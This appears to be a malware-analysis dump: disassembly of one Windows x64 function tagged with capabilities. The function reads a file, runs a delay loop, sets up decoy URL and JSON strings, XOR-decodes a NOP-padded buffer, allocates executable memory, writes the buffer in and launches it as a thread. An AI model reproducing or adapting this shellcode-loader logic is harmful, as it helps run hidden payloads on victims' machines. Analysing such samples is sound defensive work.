Function at 0x14000baf0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x278
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1f0], 0xfffffffffffffffe
mov rdx, rcx
lea rcx, [rbp - 0x50]
mov r8d, 0x20
call fcn.140008ed0
mov rax, qword [rbp - 0x50]
movsxd rax, dword [rax + 4]
test byte [rbp + rax - 0x40], 6
jne 0x14000c645
mov rdi, qword [rbp + rax - 8]
test rdi, rdi
sete al
mov qword [rbp + 0x180], 0
mov qword [rbp + 0x190], 0
mov qword [rbp + 0x198], 0xf
mov byte [rbp + 0x180], 0
xor ebx, ebx
lea rsi, [rbp + 0x180]
jmp 0x14000bb8e
dec r8d
mov dword [rdx], r8d
inc rcx
mov qword [rax], rcx
xor eax, eax
test al, al
je 0x14000bba0
test rdi, rdi
jne 0x14000bbd0
jmp 0x14000bc07
test rdi, rdi
je 0x14000bc07
mov rax, qword [rdi + 0x38]
mov rax, qword [rax]
test rax, rax
je 0x14000bbc0
mov rcx, qword [rdi + 0x50]
cmp dword [rcx], 0
jle 0x14000bbc0
movzx ebx, byte [rax]
jmp 0x14000bbd0
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x30]
mov ebx, eax
cmp eax, 0xffffffff
je 0x14000bc07
mov rcx, rsi
mov edx, ebx
call fcn.140008c60
mov rax, qword [rdi + 0x38]
mov rcx, qword [rax]
test rcx, rcx
je 0x14000bbf2
mov rdx, qword [rdi + 0x50]
mov r8d, dword [rdx]
test r8d, r8d
jg 0x14000bb80
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + 0x38]
cmp eax, 0xffffffff
sete al
jne 0x14000bb8e
xor edi, edi
jmp 0x14000bb8e
lea rcx, [rbp - 0x40]
call fcn.140009dc0
test rax, rax
jne 0x14000bc4b
mov rax, qword [rbp - 0x50]
movsxd rdx, dword [rax + 4]
xor r8d, r8d
cmp qword [rbp + rdx - 8], 0
sete r8b
shl r8d, 2
mov eax, dword [rbp + rdx - 0x40]
mov ecx, dword [rbp + rdx - 0x3c]
and eax, 0x15
or eax, r8d
or eax, 2
mov dword [rbp + rdx - 0x40], eax
and eax, ecx
jne 0x14000c69d
call fcn.140013a5c
mov rdi, rax
call fcn.140013a40
cmp rdi, 0x989680
jne 0x14000bc67
imul rdi, rax, 0x64
jmp 0x14000bcab
mov rcx, rax
or rcx, rdi
shr rcx, 0x20
je 0x14000bc7a
cqo
idiv rdi
jmp 0x14000bc7e
xor edx, edx
div edi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
mov rdx, rdi
or rdx, rax
shr rdx, 0x20
je 0x14000bca2
cqo
idiv rdi
mov rdi, rax
jmp 0x14000bca8
xor edx, edx
div edi
mov edi, eax
add rdi, rcx
call fcn.140013a5c
mov rbx, rax
call fcn.140013a40
cmp rbx, 0x989680
jne 0x14000bcc7
imul rax, rax, 0x64
jmp 0x14000bd06
mov rcx, rax
or rcx, rbx
shr rcx, 0x20
je 0x14000bcda
cqo
idiv rbx
jmp 0x14000bcde
xor edx, edx
div ebx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
mov rdx, rbx
or rdx, rax
shr rdx, 0x20
je 0x14000bcff
cqo
idiv rbx
jmp 0x14000bd03
xor edx, edx
div ebx
add rax, rcx
lea rcx, [rax + 0x77359400]
movabs rdx, 0x7fffffff88ca6bff
cmp rax, rdx
movabs r15, 0x7fffffffffffffff
cmovl r15, rcx
movabs r12, 0x311cdad160000
movabs r13, 0x112e0be826d694b3
lea rbx, [rbp + 0x1c0]
nop word cs:[rax + rax]
call fcn.140013a5c
mov r14, rax
call fcn.140013a40
cmp r14, 0x989680
jne 0x14000bd70
imul rcx, rax, 0x64
jmp 0x14000bdb6
mov rcx, rax
or rcx, r14
shr rcx, 0x20
je 0x14000bd86
cqo
idiv r14
mov rcx, rax
jmp 0x14000bd8d
xor edx, edx
div r14d
mov ecx, eax
imul rax, rdx, 0x3b9aca00
mov rdx, r14
or rdx, rax
shr rdx, 0x20
je 0x14000bda7
cqo
idiv r14
jmp 0x14000bdac
xor edx, edx
div r14d
imul rcx, rcx, 0x3b9aca00
add rcx, rax
mov r14, r15
sub r14, rcx
jle 0x14000be09
call fcn.140013a10
imul rax, rax, 0x64
cmp r14, r12
cmovge r14, r12
add r14, rax
mov rax, r14
imul r13
mov rax, rdx
shr rax, 0x3f
sar rdx, 0x1a
add rdx, rax
mov qword [rbp + 0x1c0], rdx
imul eax, edx, 0xc4653600
add r14d, eax
mov dword [rbp + 0x1c8], r14d
mov rcx, rbx
call fcn.140013a88
jmp 0x14000bd50
call fcn.140013a5c
mov rbx, rax
call fcn.140013a40
cmp rbx, 0x989680
jne 0x14000be25
imul rax, rax, 0x64
jmp 0x14000be64
mov rcx, rax
or rcx, rbx
shr rcx, 0x20
je 0x14000be38
cqo
idiv rbx
jmp 0x14000be3c
xor edx, edx
div ebx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
mov rdx, rbx
or rdx, rax
shr rdx, 0x20
je 0x14000be5d
cqo
idiv rbx
jmp 0x14000be61
xor edx, edx
div ebx
add rax, rcx
sub rax, rdi
movabs rcx, 0xbce4217d2849cb25
imul rcx
mov rax, rdx
shr rax, 0x12
shr rdx, 0x3f
lea edi, [rax + rdx]
add edi, 0x76d
xor ebx, ebx
nop word [rax + rax]
call fcn.140008190
cmp edi, ebx
je 0x14000bea6
lea eax, [rbx - 1]
cmp ebx, 0xfffffed4
mov ebx, eax
jne 0x14000be90
mov word [rbp + 0x1d3], 0x3032
lea rdx, [rbp + 0x1cf]
mov dword [rbp + 0x1cf], 0x35303235
mov qword [rbp + 0x120], 0
mov qword [rbp + 0x130], 0
mov qword [rbp + 0x138], 0xf
mov byte [rbp + 0x120], 0
lea rdi, [rbp + 0x120]
mov r8d, 6
mov rcx, rdi
call fcn.140008920
mov qword [rbp + 0x1c0], 0
mov qword [rbp + 0x1d0], 0
mov qword [rbp + 0x1d8], 0xf
mov byte [rbp + 0x1c0], 0
lea rdx, str.https:__www.google.com_search_q
lea rcx, [rbp + 0x1c0]
mov r8d, 0x20
call fcn.140008920
mov qword [rbp + 0x140], 0
mov qword [rbp + 0x150], 0
mov qword [rbp + 0x158], 0xf
mov byte [rbp + 0x140], 0
lea rdx, str.https:__www.wikipedia.org_w_api.php_actionqueryformatjsonlistsearchsrsearch
lea rcx, [rbp + 0x140]
mov r8d, 0x52
call fcn.140008920
mov qword [rbp + 0x100], 0
mov qword [rbp + 0x110], 0
mov qword [rbp + 0x118], 0xf
mov byte [rbp + 0x100], 0
lea rdx, str.C:_Users_username_Documents_file.txt
lea rcx, [rbp + 0x100]
mov r8d, 0x24
call fcn.140008920
mov qword [rbp + 0x160], 0
mov qword [rbp + 0x170], 0
mov qword [rbp + 0x178], 0xf
mov byte [rbp + 0x160], 0
lea rdx, str._home_user_documents_file.txt
lea rcx, [rbp + 0x160]
mov r8d, 0x1d
call fcn.140008920
mov qword [rbp + 0xc0], 0
mov qword [rbp + 0xd0], 0
mov qword [rbp + 0xd8], 0xf
mov byte [rbp + 0xc0], 0
lea rdx, str._name_:_John___age_:30__city_:_New_York_
lea rcx, [rbp + 0xc0]
mov r8d, 0x2a
call fcn.140008920
mov qword [rbp + 0xe0], 0
mov qword [rbp + 0xf0], 0
mov qword [rbp + 0xf8], 0xf
mov byte [rbp + 0xe0], 0
lea rdx, str._product_:_Apple_iPhone_13___price_:999__currency_:_USD_
lea rcx, [rbp + 0xe0]
mov r8d, 0x3a
call fcn.140008920
mov qword [rbp + 0x1a0], 0
mov qword [rbp + 0x1b0], 0
mov qword [rbp + 0x1b8], 0xf
mov byte [rbp + 0x1a0], 0
cmp qword [rbp + 0x190], 0
je 0x14000c145
xor ebx, ebx
lea r14, [rbp + 0x1a0]
nop word cs:[rax + rax]
cmp qword [rbp + 0x198], 0x10
mov rax, rsi
jb 0x14000c0e4
mov rax, qword [rbp + 0x180]
movzx r8d, byte [rax + rbx]
mov rcx, qword [rbp + 0x130]
mov rax, rbx
or rax, rcx
shr rax, 0x20
je 0x14000c110
mov rax, rbx
xor edx, edx
div rcx
jmp 0x14000c116
mov eax, ebx
xor edx, edx
div ecx
cmp qword [rbp + 0x138], 0x10
mov rax, rdi
jb 0x14000c12a
mov rax, qword [rbp + 0x120]
xor r8b, byte [rax + rdx]
mov rcx, r14
mov edx, r8d
call fcn.140008c60
inc rbx
cmp rbx, qword [rbp + 0x190]
jb 0x14000c0d0
mov rax, qword [rbp + 0xf8]
cmp rax, 0x10
jb 0x14000c18a
mov rcx, qword [rbp + 0xe0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14000c185
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14000c698
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140013c80
mov rax, qword [rbp + 0xd8]
cmp rax, 0x10
jb 0x14000c1cf
mov rcx, qword [rbp + 0xc0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14000c1ca
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14000c698
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140013c80
mov rax, qword [rbp + 0x178]
cmp rax, 0x10
jb 0x14000c214
mov rcx, qword [rbp + 0x160]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14000c20f
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14000c698
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140013c80
mov rax, qword [rbp + 0x118]
cmp rax, 0x10
jb 0x14000c259
mov rcx, qword [rbp + 0x100]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14000c254
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14000c698
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140013c80
mov rax, qword [rbp + 0x158]
cmp rax, 0x10
jb 0x14000c29e
mov rcx, qword [rbp + 0x140]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14000c299
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14000c698
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140013c80
mov rax, qword [rbp + 0x1d8]
cmp rax, 0x10
jb 0x14000c2e3
mov rcx, qword [rbp + 0x1c0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14000c2de
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14000c698
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140013c80
mov rcx, qword [rbp + 0x1b8]
mov rax, qword [rbp + 0x1a0]
mov rdx, qword [rbp + 0x1b0]
mov qword [rbp + 0x100], rdx
mov rdx, 0xffffffffffffffb0
lea r8, str.909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090
movaps xmm0, xmmword [0x1400300b0]
nop word cs:[rax + rax]
movaps xmm1, xmmword [rdx + r8 + 0x50]
xorps xmm1, xmm0
movaps xmmword [rdx + r8 + 0x50], xmm1
movaps xmm1, xmmword [rdx + r8 + 0x60]
xorps xmm1, xmm0
movaps xmmword [rdx + r8 + 0x60], xmm1
movaps xmm1, xmmword [rdx + r8 + 0x70]
xorps xmm1, xmm0
movaps xmmword [rdx + r8 + 0x70], xmm1
movaps xmm1, xmmword [rdx + r8 + 0x80]
xorps xmm1, xmm0
movaps xmmword [rdx + r8 + 0x80], xmm1
movaps xmm1, xmmword [rdx + r8 + 0x90]
xorps xmm1, xmm0
movaps xmmword [rdx + r8 + 0x90], xmm1
add rdx, 0x50
cmp rdx, 0xeb0
jb 0x14000c320
xor byte [0x140039110], 0xfe
cmp rcx, 0x10
lea rsi, [rbp + 0x1a0]
cmovae rsi, rax
call fcn.140008190
lea rcx, [0x1400324bc]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.VirtualAlloc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14003b118], rax
lea rdi, [0x14003b118]
mov r14, qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rbx, [rbp + 0x1c0]
mov edx, 8
mov rcx, rdi
mov r8d, 0x40
mov r9, rbx
call r14
lea rax, [0x14000bae0]
mov qword [0x14003b118], rax
mov r8d, dword [rbp + 0x1c0]
mov edx, 8
mov rcx, rdi
mov r9, rbx
call r14
mov qword [rbp + 0x160], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x1000
lea rdx, [rbp + 0x160]
lea r9, [rbp + 0x100]
mov rcx, rax
xor r8d, r8d
call fcn.140012830
mov rcx, qword [0x14003b118]
test rcx, rcx
je 0x14000c48c
lea rdi, [rbp + 0x1c0]
mov edx, 8
mov r8d, 0x40
mov r9, rdi
call r14
mov qword [0x14003b118], 0
mov r8d, dword [rbp + 0x1c0]
mov edx, 8
xor ecx, ecx
mov r9, rdi
call r14
call fcn.140008190
mov rdi, qword [rbp + 0x100]
mov rbx, qword [rbp + 0x160]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, rbx
mov r8, rsi
mov r9, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movabs rax, 0x64616572685465
mov qword [rbp + 0x145], rax
movabs rax, 0x6854657461657243
mov qword [rbp + 0x140], rax
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rbp + 0x140]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
call fcn.140008190
mov r8, qword [rbp + 0x160]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor ecx, ecx
xor edx, edx
xor r9d, r9d
call rsi
mov rsi, rax
movaps xmm0, xmmword [str.WaitForSingleObject]
movaps xmmword [rbp + 0x1c0], xmm0
mov dword [rbp + 0x1d0], 0x746365
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [rbp + 0x1c0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
call fcn.140008190
mov rcx, rsi
mov edx, 0xffffffff
call rdi
mov rax, qword [rbp + 0x1b8]
cmp rax, 0x10
jb 0x14000c5b7
mov rcx, qword [rbp + 0x1a0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14000c5b2
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14000c698
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140013c80
mov rax, qword [rbp + 0x138]
cmp rax, 0x10
jb 0x14000c5fc
mov rcx, qword [rbp + 0x120]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14000c5f7
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14000c698
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140013c80
mov rax, qword [rbp + 0x198]
cmp rax, 0x10
jb 0x14000c63d
mov rcx, qword [rbp + 0x180]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14000c638
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x14000c698
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140013c80
mov rax, qword [rbp - 0x50]
movsxd rax, dword [rax + 4]
lea rsi, [rbp + 0x60]
lea rcx, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rax - 0x50], rcx
mov rax, qword [rbp - 0x50]
movsxd rax, dword [rax + 4]
lea ecx, [rax - 0xb0]
mov dword [rbp + rax - 0x54], ecx
lea rcx, [rbp - 0x40]
call fcn.140009c80
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x60], rax
mov rcx, rsi
call fcn.140012fdc
nop
add rsp, 0x278
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.14001a1c0
test cl, 2
lea rcx, [0x1400320e7]
lea rdx, [0x1400320d1]
cmove rdx, rcx
test al, 4
lea rsi, [0x1400320fc]
cmove rsi, rdx
lea rdi, [rbp + 0x140]
mov rcx, rdi
mov edx, 1
call fcn.1400096d0
lea rcx, [rbp + 0x1c0]
mov rdx, rsi
mov r8, rdi
call fcn.140009750
lea rdx, [0x140036348]
lea rcx, [rbp + 0x1c0]
call sub.msvcrt.dll__CxxThrowException
int3